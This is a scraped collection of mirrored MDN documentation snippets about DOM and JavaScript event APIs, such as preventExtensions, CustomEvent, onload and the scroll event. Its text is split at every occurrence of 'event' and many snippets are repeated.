... this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17. you should instead use the standard touch
events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12. this api allowed you to track the movement of the user's finger on a touch screen, monitoring the raw touch
events generated by the system. although touch
events were based on — and work similarly to — mouse
events, each
event included an identifier that allowed you to track multiple fingers moving on the screen at the same time.
event fields touch
events were based upon mouse
event, and thereby shared all mouse
event fields. they included one additional field. streamid a unique integer identifying the finger generating the
event. when ...
......
... moztouchmove sent when the user moves his finger on the touch screen. moztouchup sent when the user lifts his finger off the screen. ...
handler.preventExtensions() - JavaScript
the handler.pr
eventextensions() method is a trap for object.pr
eventextensions(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p = new proxy(target, { pr
eventextensions: function(target) { } }); parameters the following parameter is passed to the pr
eventextensions() method. this is bound to the handler. target the target object. return value the pr
eventextensions() method must return a boolean value. description the handler.pr
eventextensions() method is a trap for object.pr
eventextensions(). ...
...rget) { } }); parameters the following parameter is passed to the pr
eventextensions() method. this is bound to the handler. target the target object. return value the pr
eventextensions() method must return a boolean value. description the handler.pr
eventextensions() method is a trap for object.pr
eventextensions(). interceptions this trap can intercept these operations: object.pr
eventextensions() reflect.pr
eventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.pr
eventextensions(proxy) only returns true if object.isextensible(proxy) is false. examples trapping of pr
eventextensions the following code traps object.pr
eventextensions(). ...
...an intercept these operations: object.pr
eventextensions() reflect.pr
eventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.pr
eventextensions(proxy) only returns true if object.isextensible(proxy) is false. examples trapping of pr
eventextensions the following code traps object.pr
eventextensions(). const p = new proxy({}, { pr
eventextensions: function(target) { console.log('called'); object.pr
eventextensions(target); return true; } }); console.log(object.pr
eventextensions(p)); // "called" // false the following code violates the invariant. ...
...nsions the following code traps object.pr
eventextensions(). const p = new proxy({}, { pr
eventextensions: function(target) { console.log('called'); object.pr
eventextensions(target); return true; } }); console.log(object.pr
eventextensions(p)); // "called" // false the following code violates the invariant. const p = new proxy({}, { pr
eventextensions: function(target) { return true; } }); object.pr
eventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[pr
eventextensions]]' in that specification. ...
Reflect.preventExtensions() - JavaScript
the static reflect.pr
eventextensions() method pr
events new properties from ever being added to an object (i.e., pr
events future extensions to the object). it is similar to object.pr
eventextensions(), but with some differences. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.pr
eventextensions(target) parameters target the target object on which to pr
event extensions. return value a boolean indicating whether or not the target was successfully set to pr
event extensions. exceptions a typeerror, if target is not an object. ...
...project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.pr
eventextensions(target) parameters target the target object on which to pr
event extensions. return value a boolean indicating whether or not the target was successfully set to pr
event extensions. exceptions a typeerror, if target is not an object. description the reflect.pr
eventextensions() method allows you to pr
event new properties from ever being added to an object (i.e., pr
events future extensions to the object). it is similar to object.pr
eventextensions(). examples using reflect.pr
eventextensions() see also object.pr
eventextensions(). // objects are extensible by default. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. ref...
...ons() method allows you to pr
event new properties from ever being added to an object (i.e., pr
events future extensions to the object). it is similar to object.pr
eventextensions(). examples using reflect.pr
eventextensions() see also object.pr
eventextensions(). // objects are extensible by default. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.pr
eventextensions(empty) reflect.isextensible(empty) // === false difference from object.pr
eventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.pr
eventextensions(), a non-object target will be coerced to an object. ...
...mpty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.pr
eventextensions(empty) reflect.isextensible(empty) // === false difference from object.pr
eventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror. with object.pr
eventextensions(), a non-object target will be coerced to an object. reflect.pr
eventextensions(1) // typeerror: 1 is not an object object.pr
eventextensions(1) // 1 specifications specification ecmascript (ecma-262)the definition of 'reflect.pr
eventextensions' in that specification. ...
allowevents - Archive of obsolete content
« xul reference home allow
events type: boolean if true,
events are passed to children of the element. otherwise,
events are passed to the element only. on listitem and titlebar elements, mouse
events normally do not get sent to their children; instead they are retargeted to the listitem and titlebar element itself. this means that elements placed inside a listitem do not respond to
events, and instead clicking the mouse simply selects that item within the list. by setting the allow
events attribute to true, this special behavior is disabled, and the
events are targeted the same as other elements. for menu, menuseparator, menuitem and treecol elements, as well as menu buttons, and the popup datepicker, mouse
events are also retargeted to the element itself. however, the a...
...vents, and instead clicking the mouse simply selects that item within the list. by setting the allow
events attribute to true, this special behavior is disabled, and the
events are targeted the same as other elements. for menu, menuseparator, menuitem and treecol elements, as well as menu buttons, and the popup datepicker, mouse
events are also retargeted to the element itself. however, the allow
events attribute is handled in a different way. instead, the allow
events may be set to true on a descendant instead. this does the same thing in that it allows
events to be targeted normally, but allows this to be different for each descendant. this behavior is used for menus, for instance, to allow a menu button to behave as a menu when clicking on it, yet have part of the menu behave as a button. f...
...n a different way. instead, the allow
events may be set to true on a descendant instead. this does the same thing in that it allows
events to be targeted normally, but allows this to be different for each descendant. this behavior is used for menus, for instance, to allow a menu button to behave as a menu when clicking on it, yet have part of the menu behave as a button. for the latter, the allow
events attribute is set to true to have a click on the child button receive
events instead of targeting all
events at the menu. ...
Event - MDN Web Docs Glossary: Definitions of Web-related terms
events are assets generated by dom elements, which can be manipulated by a javascript code. ...
...
events are assets generated by dom elements, which can be manipulated by a javascript code. ...
...
events are assets generated by dom elements, which can be manipulated by a javascript code. ...
Listening to events on all tabs
firefox 3.5 adds support for listening to progress
events on all tabs. adding a listener to listen to progress
events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress
events. removing a listener to remove a previously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various
events: onlocationchange called when the uri of the document displayed in the tab changes. void onlocationchange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsireques...
...ionchange called when the uri of the document displayed in the tab changes. void onlocationchange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, nsiuri alocation [optional] in unsigned long aflags ); parameters abrowser the browser representing the tab whose location changed. awebprogress the progress instance responsible for handling the
events. arequest the nsirequest object representing the associated request. alocation an nsiuri object indicating the tab's new uri. aflags optional: this is a value which explains the situation or the reason why the location has changed. optional from gecko 10 onprogresschange called when updated progress information for the download of a document is available. void onprogress...
...change( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, print32 acurselfprogress, print32 amaxselfprogress, print32 acurtotalprogress, print32 amaxtotalprogress ); parameters abrowser the browser representing the tab for which updated progress information is being provided. awebprogress the progress instance responsible for handling the
events. arequest the nsirequest object representing the associated request. acurselfprogress the current progress for the request indicated by the request parameter. amaxselfprogress the value representing 100% complete for the request indicated by the request parameter. acurtotalprogress the current progress for all requests associated with webprogress. amaxtotalpro...
nsIWorkerMessageEvent
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents an
event in a web worker thread's
event queue. 1.0 66 introduced gecko 1.9.1 inherits from: nsidom
event last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessage
event(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the
event's data. read only. origin domstring the
event's origin. read only. ...
... void initmessage
event(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the
event's data. read only. origin domstring the
event's origin. read only. source nsisupports the
event's source. read only. methods initmessage
event() initializes the message
event. void initmessage
event( in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg ); parameters atypearg the
event type. acanbubblearg whether or not the
event can bubble. acancelablearg whether or...
... adataarg the data to place into the data attribute. aoriginarg the origin to place into the origin attribute. asourcearg the source to place into the source attribute. ...
AnimationPlaybackEvent.currentTime - Web APIs
the currenttime read-only property of the animationplayback
event interface represents the current time of the animation that generated the
event at the moment the
event is queued. this will be unresolved if the animation was idle at the time the
event was generated. value a number representing the current time in milliseconds, or null. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playback
event.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 playback
event.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with ...
...back
event.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 playback
event.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistfingerprinting` enabled playback
event.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. ...
...sistfingerprinting` enabled playback
event.currenttime; // 49.8 // 50.6 // 51.7 // ... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification status comment web animationsthe definition of 'animationplayback
event.currenttime' in that specification. working draft editor's draft. ...
BlobEvent.timecode - Web APIs
specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
ContentIndexEvent - Web APIs
the contentindex
event interface of the content index api defines the object used to represent the contentdelete
event. this
event is sent to the global scope of a serviceworker. it contains the id of the indexed content to be removed. the contentdelete
event is only fired when the deletion happens due to interaction with the browser's built-in user interface. it is not fired when the contentindex.delete method is called. constructor contentindex
event() creates and returns a new contentindex
event object whose type and other options are configured as specified. properties in addition to the properties listed below, this interface inherits the properties of its parent interface, extendable
event. id read only a string which identifies the deleted content index via it's...
...nstructor contentindex
event() creates and returns a new contentindex
event object whose type and other options are configured as specified. properties in addition to the properties listed below, this interface inherits the properties of its parent interface, extendable
event. id read only a string which identifies the deleted content index via it's id. methods while contentindex
event offers no methods of its own, it inherits any specified by its parent interface, extendable
event. examples this example shows the sevice worker script listening for the contentdelete
event and logs the removed content index id. ...
...ts parent interface, extendable
event. id read only a string which identifies the deleted content index via it's id. methods while contentindex
event offers no methods of its own, it inherits any specified by its parent interface, extendable
event. examples this example shows the sevice worker script listening for the contentdelete
event and logs the removed content index id. self.add
eventlistener('contentdelete', (
event) => { console.log(
event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'contentindex
event' in that specification. unknown initial definition. ...
CustomEvent() - Web APIs
the custom
event() constructor creates a new custom
event. note: this feature is available in web workers. syntax
event = new custom
event(typearg, custom
eventinit); parameters typearg a domstring representing the name of the
event. custom
eventinit optional a custom
eventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an
event-dependent value associated with the
event. the custom
eventinit dictionary also accepts fields from the
eventinit dictionary. return value a new custom
event object of the specified type, with any other properties configured according to the custom
eventinit dictionary (if one was provided). ...
..., optional and defaulting to null, of type any, that is an
event-dependent value associated with the
event. the custom
eventinit dictionary also accepts fields from the
eventinit dictionary. return value a new custom
event object of the specified type, with any other properties configured according to the custom
eventinit dictionary (if one was provided). example // add an appropriate
event listener obj.add
eventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the
event var
event = new custom
event("cat", { detail: { hazcheeseburger: true } }); obj.dispatch
event(
event); additional examples can be found at creating and triggering
events. ...
... living standard initial definition. ...
DeviceMotionEvent - Web APIs
the devicemotion
event provides web developers with information about the speed of changes for the device's position and orientation. warning: currently, firefox and chrome do not handle the coordinates the same way. take care about this while using them. constructor devicemotion
event.devicemotion
event() creates a new devicemotion
event. properties devicemotion
event.accelerationread only an object giving the acceleration of the device on the three axis x, y and z. acceleration is expressed in m/s2. devicemotion
event.accelerationincludinggravityread only an object giving the acceleration of the device on the three axis x, y and z with the effect of gravity. acceleration is expressed in m/s2. ...
...vicemotion
event. properties devicemotion
event.accelerationread only an object giving the acceleration of the device on the three axis x, y and z. acceleration is expressed in m/s2. devicemotion
event.accelerationincludinggravityread only an object giving the acceleration of the device on the three axis x, y and z with the effect of gravity. acceleration is expressed in m/s2. devicemotion
event.rotationrateread only an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma. rotation rate is expressed in degrees per seconds. devicemotion
event.intervalread only a number representing the interval of time, in milliseconds, at which data is obtained from the device. ...
...on is expressed in m/s2. devicemotion
event.rotationrateread only an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma. rotation rate is expressed in degrees per seconds. devicemotion
event.intervalread only a number representing the interval of time, in milliseconds, at which data is obtained from the device. example window.add
eventlistener('devicemotion', function(
event) { console.log(
event.acceleration.x + ' m/s2'); }); specifications specification status comment deviceorientation
event specificationthe definition of 'devicemotion
event' in that specification. editor's draft initial definition. ...
Document: dragenter event - Web APIs
specifications specification status comment html living standardthe definition of 'dragenter' in that specification. ...
... specifications specification status comment html living standardthe definition of 'dragenter' in that specification. ...
...t is fired when a dragged element or text selection enters a valid drop target. the target object is the immediate user selection (the element directly indicated by the user as the drop target), or the <body> element. bubbles yes cancelable yes default action reject immediate user selection as potential target element. interface drag
event event handler property ondragenter examples see the drag
event for example code or this jsfiddle demo. specifications specification status comment html living standardthe definition of 'dragenter' in that specification. living standard ...
Document: keypress event - Web APIs
the keypress
event is fired when a key that produces a character value is pressed down. examples of keys that produce a character value are alphabetic, numeric, and punctuation keys. examples of keys that don't produce a character value are modifier keys such as alt, shift, ctrl, or meta. since this
event has been deprecated, you should look to use beforeinput or keydown instead. interface keyboard
event bubbles yes cancelable yes default action varies: keypress
event; launch text composition system; blur and focus
events; domactivate
event; other
event examples add
eventlistener keypress example this example logs the keyboard
event.code value whenever you press a key. <p>press inside this iframe first to focus it, then try press...
...ries: keypress
event; launch text composition system; blur and focus
events; domactivate
event; other
event examples add
eventlistener keypress example this example logs the keyboard
event.code value whenever you press a key. ...
...you press a key. ...
Document: scroll event - Web APIs
the scroll
event fires when the document view or an element has been scrolled. bubbles yes cancelable no interface
event event handler property onscroll note: in ios uiwebviews, scroll
events are not fired while scrolling is taking place; they are only fired after the scrolling has completed. see bootstrap issue #16202. safari and wkwebviews are not affected by this bug. examples scroll
event throttling since scroll
events can fire at a high rate, the
event handler shouldn't execute computationally expensive operations such as dom modifications. instead, it is recommended to throttle the
event using requestanimationframe(), settimeout(), or a custom
event, as follows. ...
... issue #16202. safari and wkwebviews are not affected by this bug. examples scroll
event throttling since scroll
events can fire at a high rate, the
event handler shouldn't execute computationally expensive operations such as dom modifications. instead, it is recommended to throttle the
event using requestanimationframe(), settimeout(), or a custom
event, as follows. note, however, that input
events and animation frames are fired at about the same rate, and therefore the optimization below is often unnecessary. this example optimizes thescroll
event for requestanimationframe. // reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window...
...d animation frames are fired at about the same rate, and therefore the optimization below is often unnecessary. this example optimizes thescroll
event for requestanimationframe. // reference: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.add
eventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimationframe(function() { dosomething(last_known_scroll_position); ticking = false; }); ticking = true; } }); see more, similar examples on the resize
event page. specifications specification status css object model (cssom) view modul...
Document: transitionstart event - Web APIs
the transitionstart
event is fired when a css transition has actually started, i.e., after any transition-delay has ended. the difference is transitionstart and transitionrun is that transitionrun fires when the transition is created (i.e. at the start of any delay) and transitionstart fires when the actual animation has begun (i.e. at the end of any delay). bubbles yes cancelable no interface transition
event event handler property global
eventhandlers.ontransitionstart the original target for this
event is the element that had the transition applied. you can listen for this
event on the document interface to handle it in the capture or bubbling phases. ...
...end of any delay). bubbles yes cancelable no interface transition
event event handler property global
eventhandlers.ontransitionstart the original target for this
event is the element that had the transition applied. you can listen for this
event on the document interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on htmlelement: transitionstart. ...
...ent handler property global
eventhandlers.ontransitionstart the original target for this
event is the element that had the transition applied. you can listen for this
event on the document interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on htmlelement: transitionstart. examples this code adds a listener to the transitionstart
event: document.add
eventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of add
eventlistener(): document.ontransitionrun = () => { console.log('started transitioning'); }; see a live example of this
event. specifications specification status comment css transitionsthe definition...
FetchEvent.navigationPreload - Web APIs
the navigationpreload read-only property of the fetch
event interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration. syntax var promise = fetch
event.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager. example the following example shows the implementation of a fetch
event that uses a preloaded response. ...
...f the fetch
event interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration. syntax var promise = fetch
event.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager. example the following example shows the implementation of a fetch
event that uses a preloaded response. add
eventlistener('fetch',
event => {
event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(
event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await
event.preloadresponse; if (response) return response; // else try the network. return f...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
GlobalEventHandlers.onchange - Web APIs
example this example logs the number of characters in an <input> element, every time you modify its contents and then change focus away from it. ...
... example this example logs the number of characters in an <input> element, every time you modify its contents and then change focus away from it. ...
... example this example logs the number of characters in an <input> element, every time you modify its contents and then change focus away from it. ...
GlobalEventHandlers.onclick - Web APIs
the onclick property of the global
eventhandlers mixin is the
eventhandler for processing click
events on a given element. the click
event is raised when the user clicks on an element. it fires after the mousedown and mouseup
events, in that order. note: when using the click
event to trigger an action, also consider adding this same action to the keydown
event, to allow the use of that same action by people who don't use a mouse or a touch screen. syntax target.onclick = functionref; value functionref is a function name or a function expression. the function receives a mouse
event object as its sole argument. within the function, this will be the element upon which the
event was triggered. only one onclick handler can be assigned to an object at a time. ...
... examples detecting clicks this example simply changes the color of an element when it's clicked upon. ...
... examples detecting clicks this example simply changes the color of an element when it's clicked upon. ...
GlobalEventHandlers.onload - Web APIs
the onload property of the global
eventhandlers mixin is an
eventhandler that processes load
events on a window, xmlhttprequest, <img> element, etc. the load
event fires when a given resource has loaded. syntax target.onload = functionref; value functionref is the handler function to be called when the window’s load
event fires. ...
...e load
event fires when a given resource has loaded. syntax target.onload = functionref; value functionref is the handler function to be called when the window’s load
event fires. examples window.onload = function() { init(); dosomethingelse(); }; <!doctype html> <html> <head> <title>onload test</title> // es5 <script> function load() { console.log("load
event detected!"); } window.onload = load; </script> // es2015 <script> const load = () => { console.log("load
event detected!"); } window.onload = load; </script> </head> <body> <p>the load
event fires when the document has finished loading!</p> </body> </html> notes the load
event fires at the end of the document loading process. at t...
...ted!"); } window.onload = load; </script> </head> <body> <p>the load
event fires when the document has finished loading!</p> </body> </html> notes the load
event fires at the end of the document loading process. at this point, all of the objects in the document are in the dom, and all the images, scripts, links and sub-frames have finished loading. there are also dom
events like domcontentloaded and domframecontentloaded (which can be handled using
eventtarget.add
eventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading. specifications specification status comment html living standardthe definition of 'onload' in that specification. living standard init...
GlobalEventHandlers.onmousedown - Web APIs
the onmousedown property of the global
eventhandlers mixin is an
eventhandler that processes mousedown
events. the mousedown
event fires when the user depresses the mouse button. note: the opposite of onmousedown is onmouseup. syntax target.onmousedown = functionref; value functionref is a function name or a function expression. the function receives a mouse
event object as its sole argument. example this example reveals part of an image when you press and hold a mouse button. it uses the onmousedown, onmouseup, and onmousemove
event handlers. html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolut...
...ndlers. ...
...en></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(
event) { view.removeattribute('hidden'); view.style.left =
event.clientx - 50 + 'px'; view.style.top =
event.clienty - 50 + 'px';
event.pr
eventdefault(); } function moveview(
event) { view.style.left =
event.clientx - 50 + 'px'; view.style.top =
event.clienty - 50 + 'px'; } function hideview(
event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.on...
GlobalEventHandlers.onmousemove - Web APIs
the onmousemove property of the global
eventhandlers mixin is an
eventhandler that processes mousemove
events. the mousemove
event fires when the user moves the mouse. syntax target.onmousemove = functionref; value functionref is a function name or a function expression. the function receives a mouse
event object as its sole argument. examples tooltips this example creates link tooltips that follow your mouse. it uses the onmousemove, onmouseover, and onmouseout
event handlers. html <p><a href="#" data-tooltip="first link">see a tooltip here …</a></p> <p><a href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const t...
...second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(
event) { node.style.left =
event.clientx + 20 + 'px'; node.style.top =
event.clienty + 10 + 'px'; }; this.show = function(
event) { node.textcontent =
event.target.dataset.tooltip; node.removeattribute('hidden'); }; this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link => { link.onmouseover ...
... specifications specification status comment html living standardthe definition of 'onmousemove' in that specification. living standard ...
GlobalEventHandlers.onpointerleave - Web APIs
the global
event handler for the pointerleave
event, which is delivered to a node when the pointer (mouse cursor, fingertip, etc.) exits its hit test area (for example, if the cursor exits an element or window's content area). this
event is part of the pointer
events api. syntax
eventtarget.onpointerleave = leavehandler; var leavehandler =
eventtarget.onpointerleave; value leavehandler the
eventlistener which will be invoked to handle pointerleave
events sent to the target. example this example shows two ways to use onpointerleave to set an element's pointerleave
event handler. ...
...i. syntax
eventtarget.onpointerleave = leavehandler; var leavehandler =
eventtarget.onpointerleave; value leavehandler the
eventlistener which will be invoked to handle pointerleave
events sent to the target. example this example shows two ways to use onpointerleave to set an element's pointerleave
event handler. <html> <script> function leavehandler(ev) { // process the pointerleave
event } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" onpointerleave="leavehandler(
event)"> touch me ... </div> </body> </html> see using pointer
events for additional details. specifications specification status comment pointer ...
... } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" onpointerleave="leavehandler(
event)"> touch me ... </div> </body> </html> see using pointer
events for additional details. specifications specification status comment pointer
events – level 2the definition of 'onpointerleave' in that specification. recommendation non-stable version pointer
eventsthe definition of 'onpointerleave' in that specification. obsolete initial definition ...
GlobalEventHandlers.onselect - Web APIs
the onselect property of the global
eventhandlers mixin is an
eventhandler that processes select
events. the select
event only fires after text inside an <input type="text"> or <textarea> is selected. syntax target.onselect = functionref; value functionref is a function name or a function expression. the function receives a ui
event object as its sole argument. examples this example logs the text you select inside a <textarea> element. ...
...text"> or <textarea> is selected. syntax target.onselect = functionref; value functionref is a function name or a function expression. the function receives a ui
event object as its sole argument. examples this example logs the text you select inside a <textarea> element. ...
... value functionref is a function name or a function expression. the function receives a ui
event object as its sole argument. examples this example logs the text you select inside a <textarea> element. html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(
event) { const log = document.getelementbyid('log'); const selection =
event.target.value.substring(
event.target.selectionstart,
event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification. living standard ...
HTMLDetailsElement: toggle event - Web APIs
examples this example logs chapters that are open. chapters are removed from the log when they are closed. html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="summaries"> <b>chapter summaries:</b> <details id="ch1"> <summary>chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune. her very nature is caprice. ...
... living standard ...
... living standard ...
HTMLElement: beforeinput event - Web APIs
the dom beforeinput
event fires when the value of an <input>, <select>, or <textarea> element is about to be modified. the
event also applies to elements with contenteditable enabled, and to any element when designmode is turned on. in the case of contenteditable and designmode, the
event target is the editing host. if these properties apply to multiple elements, the editing host is the nearest ancestor element whose parent isn't editable. ...
...vent also applies to elements with contenteditable enabled, and to any element when designmode is turned on. in the case of contenteditable and designmode, the
event target is the editing host. if these properties apply to multiple elements, the editing host is the nearest ancestor element whose parent isn't editable. bubbles yes cancelable yes interface input
event event handler property none sync / async sync composed yes default action update the dom element examples this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element. html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const inpu...
...s default action update the dom element examples this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element. html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.add
eventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ui
eventsthe definition of 'beforeinput
event' in that specification. working draft ...
HTMLFormElement: reset event - Web APIs
the reset
event fires when a <form> is reset. bubbles yes (although specified as a simple
event that doesn't bubble) cancelable yes interface
event event handler property global
eventhandlers.onreset examples this example uses
eventtarget.add
eventlistener() to listen for form resets, and logs the current
event.timestamp whenever that occurs. ...
...t
event handler property global
eventhandlers.onreset examples this example uses
eventtarget.add
eventlistener() to listen for form resets, and logs the current
event.timestamp whenever that occurs. html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(
event) { log.textcontent = `form reset! time stamp: ${
event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.add
eventlistener('reset', logreset); result specifications specification status comment html living standardthe definition of 'reset' in that specification. working draft no change htm...
... html5the definition of 'reset' in that specification. recommendation initial definition ...
HTMLInputElement: search event - Web APIs
the search
event is fired when a search is initiated usinng an <input> element of type="search". bubbles yes cancelable no interface
event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the
event is debounced). current ua implementations of <input type="search"> have an additional control to clear the field. using this control also fires the search
event. in that case the value of the <input> element will be the empty string. ...
...s present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the
event is debounced). current ua implementations of <input type="search"> have an additional control to clear the field. using this control also fires the search
event. in that case the value of the <input> element will be the empty string. ...
...okes resetting the timeout so the firing of the
event is debounced). current ua implementations of <input type="search"> have an additional control to clear the field. using this control also fires the search
event. in that case the value of the <input> element will be the empty string. examples // add
eventlistener version const input = document.queryselector('input[type="search"]'); input.add
eventlistener('search', () => { console.log("the term searched for was " + input.value); }) // onsearch version const input = document.queryselector('input[type="search"]'); input.onsearch = () => { console.log("the term searched for was " + input.value); }) specifications this
event is not part of any specification. ...
HTMLMediaElement: loadedmetadata event - Web APIs
the loadedmetadata
event is fired when the metadata has been loaded. bubbles no cancelable no interface
event target element default action none
event handler property global
eventhandlers.onloadedmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels. mozsamplerate read only int the sample rate per second. mozframebufferlength read only int the number of samples collected in all channels. ...
...dmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels. mozsamplerate read only int the sample rate per second. mozframebufferlength read only int the number of samples collected in all channels. examples these examples add an
event listener for the htmlmediaelement's loadedmetadata
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('loadedmetadata', (
event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known. '); }); using the onloadedmetadata even...
...handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('loadedmetadata', (
event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known. '); }); using the onloadedmetadata
event handler property: const video = document.queryselector('video'); video.onloadedmetadata = (
event) => { console.log('the duration and dimensions ' + ' of the media and tracks are now known. '); }; specifications specification status html living standardthe definition of 'loadedmetadata media
event' in that specification. living standard html5the definition of 'canplay media
event' in that specification. recommendation ...
HTMLMediaElement: play event - Web APIs
the play
event is fired when the paused property is changed from true to false, as a result of the play method, or the autoplay attribute. bubbles no cancelable no interface
event target element default action none
event handler property global
eventhandlers.onplay specification html5 media examples these examples add an
